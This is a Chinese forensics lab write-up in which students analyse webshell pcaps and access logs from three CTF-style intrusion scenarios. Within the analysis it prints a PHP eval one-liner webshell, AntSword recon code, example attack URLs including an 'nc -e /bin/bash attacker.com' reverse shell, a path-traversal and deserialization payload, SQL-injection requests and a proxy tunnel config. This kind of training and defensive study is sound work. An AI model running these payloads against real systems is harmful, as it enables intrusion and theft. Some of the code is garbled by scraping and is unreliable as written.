wordpress副标题的作用,百度网站标题优化,企业建设网站管理制度,中铁建设集团门户网登录快照溯源与取证分析实验
溯源取证分析作为网络攻防过程中重要环节#xff0c;准确找到攻击者的入侵线索(尤其是攻击突破口、攻击IP地址、域名、工具等信息)#xff0c;对于企业或者团队安全运营团队来说都是必备技能。常规攻击取证过程中往往会结合流量、Web访问日志、终端系统或…溯源与取证分析实验
溯源取证分析作为网络攻防过程中重要环节准确找到攻击者的入侵线索(尤其是攻击突破口、攻击IP地址、域名、工具等信息)对于企业或者团队安全运营团队来说都是必备技能。常规攻击取证过程中往往会结合流量、Web访问日志、终端系统或者软件日志等信息来挖掘或者推断相关线索。本实验通过网络流量、日志等溯源环境进行真实案例模仿通过实战化分析来锻炼学生的取证溯源能力从而加深大家对于网络攻防的实战化水平。在本实验结束时学生应该能够具备对网络流量和日志的基本分析能力。
实验工具
Wireshark(版本≥3.0)VScode或者类似文本编辑器 Webshell数据包webshell.zip
背景介绍 webshell又称脚本木马通过服务器开放的端口获取服务器的某些权限。
小张单位网站被黑客挂马请您从流量中分析出webshell进行回答 A. 黑客在整个过程中做了哪些操作请简单列举出来并截图说明。 B. 黑客登录系统使用的密码、黑客的socks5的连接账号与密码请列举出来并配图说明。
分析过程
1.用 wireshark 打开 hack.pcap 可以看到有 HTTP 和 TCP 两种类型的流量。 2.在已知为 webshell 攻击后我们在wireshark中搜索常用的命令如 whoami, ls pwd 等来进行分析。首先在 wireshark 中设置成如下所示的样子。然后进行搜索。 3.首先搜索 login查看登录信息。发现登录的账号和密码。
账号test密码Admin123!# 4.然后搜索 whoami我们发现这个它跟参数 aaa 有关。并且此处对日志文件进行了修改。 5.我们继而对 aaa 进行搜索。发现 aaa 跟 ifconfig ipconfigpwd 等指令都有关我充分怀疑这个参数 aaa 有问题跟webshell有关。 6.我们仔细观察会发现在查询 aaa 时有一个很可疑的值即上面的最后一张图片这里变量 aaa 中包含了一个命令作用是通过 system() 函数执行一个 shell 命令解码 Base64 编码的字符串并将其写入到服务器的 /var/www/html/1.php 文件中。这里有几个疑点
为什么会去执行这样一个命令该命令中进行了Base64编码怀疑是为了绕过审查一般情况网站上不会去创建叫做 1.php 的文件.php 文件为常见的webshell脚本 7.分析后我们对这里的 Base64 编码进行解码分析解码后如下所示。
?php eval($_REQUEST[aaa^;?8.这段代码的作用是通过 eval() 函数执行传递给 aaa 参数的 PHP 代码。也就是说黑客可以在 URL 中传递一个恶意的 PHP 代码作为 aaa 参数服务器就会执行这段代码。比如说如果黑客知道 Webshell 的存在他就可以通过下面所示的这些来实现恶意代码注入。而将一个php一句话木马写入了网站根目录下的1.php文件中可能是为了在服务器持久化存储该木马文件
# 执行系统命令
http://victim.com/shell.php?aaa^system(cat /etc/passwd);# 上传恶意文件如果 PHP 有文件上传功能
http://victim.com/shell.php?aaa^move_uploaded_file(evil.php, /var/www/html/evil.php);# 获取反向Shell这会在受害者的服务器上启动一个反向 shell连接到攻击者的服务器。
http://victim.com/shell.php?aaa^exec(nc -e /bin/bash attacker.com 1234);9.我们继续跟踪变量 aaa。发现一个比较复杂的命令形式上符合webshell工具——蚁剑的传输流量特征。这是一段PHP代码。
ini_set(display_errors, 0);set_time_limit(0);function asenc($out){return $out;};function asoutput(){$outputob_get_contents();ob_end_clean();echo bc.0f2;echo asenc($output);echo f797e.322e0;}ob_start();try{$Ddirname($_SERVER[SCRIPT_FILENAME]);if($D)$Ddirname($_SERVER[PATH_TRANSLATED]);$R{$D} ;if(substr($D,0,1)!/){foreach(range(C,Z)as $L)if(is_dir({$L}:))$R.{$L}:;}else{$R./;}$R. ;$u(function_exists(posix_getegid))?posix_getpwuid(posix_geteuid()):;$s($u)?$u[name]:get_current_user();$R.php_uname();$R. {$s};echo $R;;}catch(Exception $e){echo ERROR://.$e-getMessage();};asoutput();die();10.该PHP代码段是一个典型的 Webshell它用于收集并输出受害服务器的关键信息。通过隐藏错误、禁用时间限制、输出混淆等手段攻击者意图在受害服务器上执行持久化操作。对其分析如下
ini_set(display_errors, 0);
set_time_limit(0);ini_set(display_errors, 0)关闭错误显示避免 PHP 错误信息泄露。set_time_limit(0)禁用脚本执行时间限制使脚本可以长时间运行通常用于持续执行的恶意操作。
function asenc($out) { return $out; };
function asoutput() {$output ob_get_contents();ob_end_clean();echo bc . 0f2;echo asenc($output);echo f797e . 322e0;
}asenc($out)这是一个空的加密/解密函数实际上并没有对输出做任何处理只是返回原样的数据。asoutput()该函数获取输出缓冲区的内容ob_get_contents()清空缓冲区ob_end_clean()然后输出一些字符串 bc0f2 和 f797e322e0 可能是用来混淆输出的无意义字符串增加分析难度。然后通过 asenc($output) 输出原始缓冲区内容。这表明该代码的目标可能是输出一些信息或返回执行结果。
ob_start();
try {$D dirname($_SERVER[SCRIPT_FILENAME]);if ($D ) $D dirname($_SERVER[PATH_TRANSLATED]);$R {$D} ;if (substr($D, 0, 1) ! /) {foreach (range(C, Z) as $L)if (is_dir({$L}:)) $R . {$L}:;} else {$R . /;}$R . ;$u (function_exists(posix_getegid)) ? posix_getpwuid(posix_geteuid()) : ;$s ($u) ? $u[name] : get_current_user();$R . php_uname();$R . {$s};echo $R;
} catch (Exception $e) {echo ERROR:// . $e-getMessage();
}
ob_start()启动输出缓冲区以便后续的输出可以捕获并进行处理例如用于 asoutput()。$D dirname($_SERVER[SCRIPT_FILENAME])获取当前脚本的目录路径。如果 $D 为空则尝试使用 $_SERVER[PATH_TRANSLATED] 获取路径。目录信息构建 如果路径是 Windows 系统路径不是以/ 开头代码会尝试列出从 C: 到 Z: 的所有磁盘驱动器并检查每个驱动器是否是目录。如果是 Unix 系统则 $R 的值会是 /。 用户信息 使用 posix_getegid() 和 posix_geteuid() 获取当前用户的组名和用户名信息如果存在 posix 扩展。如果 posix 扩展不可用则使用 get_current_user() 获取当前 PHP 执行用户。 php_uname()返回操作系统信息如操作系统名称、版本、架构等。输出信息 将目录信息、操作系统信息、当前用户名拼接并输出。目的是暴露受害主机的详细环境信息包括操作系统类型、版本、当前用户等。
} catch (Exception $e) {echo ERROR:// . $e-getMessage();
}错误捕捉如果在执行过程中出现异常会输出错误信息。
asoutput();
die();asoutput()调用该函数输出缓冲区的内容并将之前收集到的输出进行处理可能会显示一些数据或执行其他操作。die()脚本执行完毕后终止。
11.通过上面的分析我们可以断定 1.php 是黑客的恶意程序。我们继续跟踪变量 aaa。找到这个数据包我们发现相较之前的数据包其代码段中包含了一个变量 j68071301598f并且其值很像一个 Base64 编码后的代码。我们对其进行解码从第三位开始得到 frpc.ini 文件路径
/var/www/html/frpc.iniFrpc 为一款内网穿透工具 https://ababtools.com/?post4421 12.对第二个 item 进行十六进行转 ASCII 的解码。结果如下所示。
# item 的内容
item 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A# 转码的结果
[common]
server_addr 192.168.239.123
server_port 7778
tokenXa3BJf2l5enmN6Z7A8mv[test_sock5]
type tcp
remote_port 8111
plugin socks5
plugin_user 0HDFt16cLQJ
plugin_passwd JTN276Gp
use_encryption true
use_compression true13.通过解码结果我们可以得到
服务器IP192.168.239.123服务器端口7778使用 SOCKS5 插件SOCKS5 代理的用户名0HDFt16cLQJSOCKS5 代理的密码JTN276Gp
至此我们已基本完成对这个流量的分析。
任务完成记录
A. 黑客在整个过程中做了哪些操作请简单列举出来并截图说明。
登录系统 修改日志文件 写入webshell 蚁剑通过webshell进行连接 上传代理工具客户端及代理工具回连客户端 B. 黑客登录系统使用的密码、黑客的socks5的连接账号与密码请列举出来。
见上面的分析过程 账号test 密码Admin123!# SOCKS5 的连接账号0HDFt16cLQJ SOCKS5 的密码JTN276Gp 日志分析日志分析.zip
小明发现单位某应用程序被攻击后提取了对应的日志数据请分析日志并进行作答 A. 网络存在源码泄漏源码文件名是什么(请提交带有文件后缀的文件名例如x.txt并对流量分析进行截图) B. 分析攻击流量黑客往/tmp目录写入一个文件文件名是什么(请对流量分析进行截图) C.分析攻击流量黑客使用的是什么漏洞读取了秘密文件
任务完成记录
A. 网络存在源码泄漏源码文件名是什么
在网络日志中HTTP 状态码 200 通常表示请求成功并且服务器已成功处理并返回了请求的资源。如果日志中有 HTTP 200 OK 状态码并且请求涉及到某些源码文件如 .php, .jsp, .py, .html 等这可能表明攻击者通过请求源码文件而获得了敏感信息。
所以我们在日志中搜索 200查看攻击者成功访问了什么文件。
这里访问了 index.php, www.zip, info.php。 需要知道常见的网站备份文件后缀有 .zip.rar.7z等我们可以看到在成功访问 www.zip 后接连访问了 www.rar,www.7z虽然都是状态码为 404 表示访问失败。所以我们合理推测泄露的源码文件应该是 www.zip。 B. 分析攻击流量黑客往/tmp目录写入一个文件文件名是什么
在日志文件中查找 tmp发现黑客通过filename参数向/tmp目录传递了一个名叫 sess_car 的文件。 C.分析攻击流量黑客使用的是什么漏洞读取了秘密文件
对上面截图中的URL编码进行解码我们可以看到是利用了 SplFileObject 的漏洞读取了秘密文件。
# 原始 URL编码
filename..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_carcontentfunc%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1 302 879 - python-requests/2.26.0# URL解码后
filename../../../../../../../../../../../../../../../../../tmp/sess_carcontentfunc|N;files|a:2:{s:8:filename;s:16:./files/filename;s:20:call_user_func_array;s:28:./files/call_user_func_array;}paths|a:1:{s:5:/flag;s:13:SplFileObject;} HTTP/1.1 302 879 - python-requests/2.26.0SplFileObject带来的漏洞 SplFileObject 是 PHP 中一个用于文件处理的类它为文件操作提供了更高级的功能比如逐行读取文件内容、写入文件等。SplFileObject 本身并没有漏洞但由于它的使用不当或不安全的反序列化攻击者可能通过它来利用一些漏洞特别是在 PHP 反序列化漏洞 中SplFileObject 类通常会被滥用来进行恶意操作。 攻击“苹果”注入ios.zip
一位苹果安全研究员在家中使用手机联网被黑不仅被窃密还丢失比特币若干请你通过流量和日志分析后作答 A. 简述黑客的整个攻击过程关键步骤请配图说明。 B. 黑客所控制的CC服务器IP是什么 C.被害者手机上被拿走了的私钥文件内容是什么
任务完成记录
A. 简述黑客的整个攻击过程关键步骤请配图说明。
1.首先查看日志文件 access.log。因为木马文件常为 php 文件在日志文件中搜索 .php我们可以看到有一个文件 ma.php被上传并且红色框出的编码经base64解码后的结果为 whoami 并且后面的操作都与这个文件相关。所以此处是一个webshell请求并且这个文件是一个木马文件。
fxxksystem(base64_decode(%27d2hvYW1p%27))2.接下来我们查看流量文件 triffic.pcap 。在使用Wireshark的跟踪流功能跟踪到第15个TCP流时如下所示我们可以看到一个类似于 Linux 客户端的界面先后执行了
lswget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent chmod 755 ios_agent : 使用wget命令访问网站下载了GitHub的资源并赋予了可执行权限。下载的项目是一个内网穿透工具叫做 Stowaway。 2.我们进入 Stowaway 的 github 主页看到他的参数介绍如下所示。
admin
参数:
-l 被动模式下的监听地址[ip]:port
-s 节点通信加密密钥,所有节点(adminagent)必须一致
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--tls-enable 为节点通信启用TLS在启用TLS后AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名若为空默认为目标节点地址
--heartbeat 开启心跳包agent
参数:
-l 被动模式下的监听地址[ip]:port
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP/WS
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--cs 运行平台的shell编码类型默认为utf-8可选gbk
--tls-enable 为节点通信启用TLS在启用TLS后AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名若为空默认为目标节点地址3.我们参考这个说明继续分析这个流量文件。我们发现攻击者运行ios_agent命令进行攻击。并且可以得到攻击者主机IP是 3.128.156.159加密密钥是hack4sec。至此对于该TCP流已分析完毕。 4.我们继续对流量进行分析我们想要访问HTTP流量时发现全部经过加密无法正常阅读这是因为当浏览器访问https站点时使用SSL/TLS协议必须拥有服务器私钥才能得到用于对称加密的密钥然后真正解开加密的数据。这时我们使用提供的密钥文件 keylog.txt 进行解密。 TCP流解密方法 https://blog.csdn.net/for_mat_/article/details/118107321 5.解密后我们查看 HTTP 流量发现其中有明显的关于 SQL 注入的特征字段所以将该部分字段拿来进行URL解码。发现确实是在进行布尔注入。
# 解码得到HEADERS[93]: GET /info?l1o(case_when_(select_hex(substr(password,5,1))_from_user)30_then_id_else_col1_end), WINDOW_UPDATE[93]6.在渗透中通常要扫描端口由于大多数端口关闭主机会发出RST我们只需在wireshark的专家模式中找到RST数据包的最大和最小端口即可确定端口扫描范围。端口扫描范围为 10-499。 Wireshark 的专家模式的打开方式 至此对于黑客的攻击过程基本分析完毕。
B. 黑客所控制的CC服务器IP是什么
由前面的分析过程我们可知CC服务器IP 3.128.156.159
C.被害者手机上被拿走了的私钥文件内容是什么
将上面的所有SQL注入的每一位的最后一条请求的值连在一起再使用hex解码就可以得到⼀个uuid值即为私钥文件的内容。 # 例如下面这个就取 3
43052 2021-08-28 14:10:57.001000 192.168.1.8 192.168.1.12 HTTP2 246 HEADERS[3]: GET /info?l1o%28case_when_%28select_hex%28substr%28password%2C1%2C1%29%29_from_user%29%3D%222D%22_then_id_else_col1_end%29, WINDOW_UPDATE[3]# 全部拼在一起后
37343635386633206338343120343536642038356437206436633066656461626232# 通过HEX解码得到
746558f3-c841-456b-85d7-d6c0f2edabb2拿到的私钥文件内容为746558f3-c841-456b-85d7-d6c0f2edabb2 参考资料
[1] https://www.cnblogs.com/leo1017/p/17949472 [2] https://blog.csdn.net/qq_64389397/article/details/135440190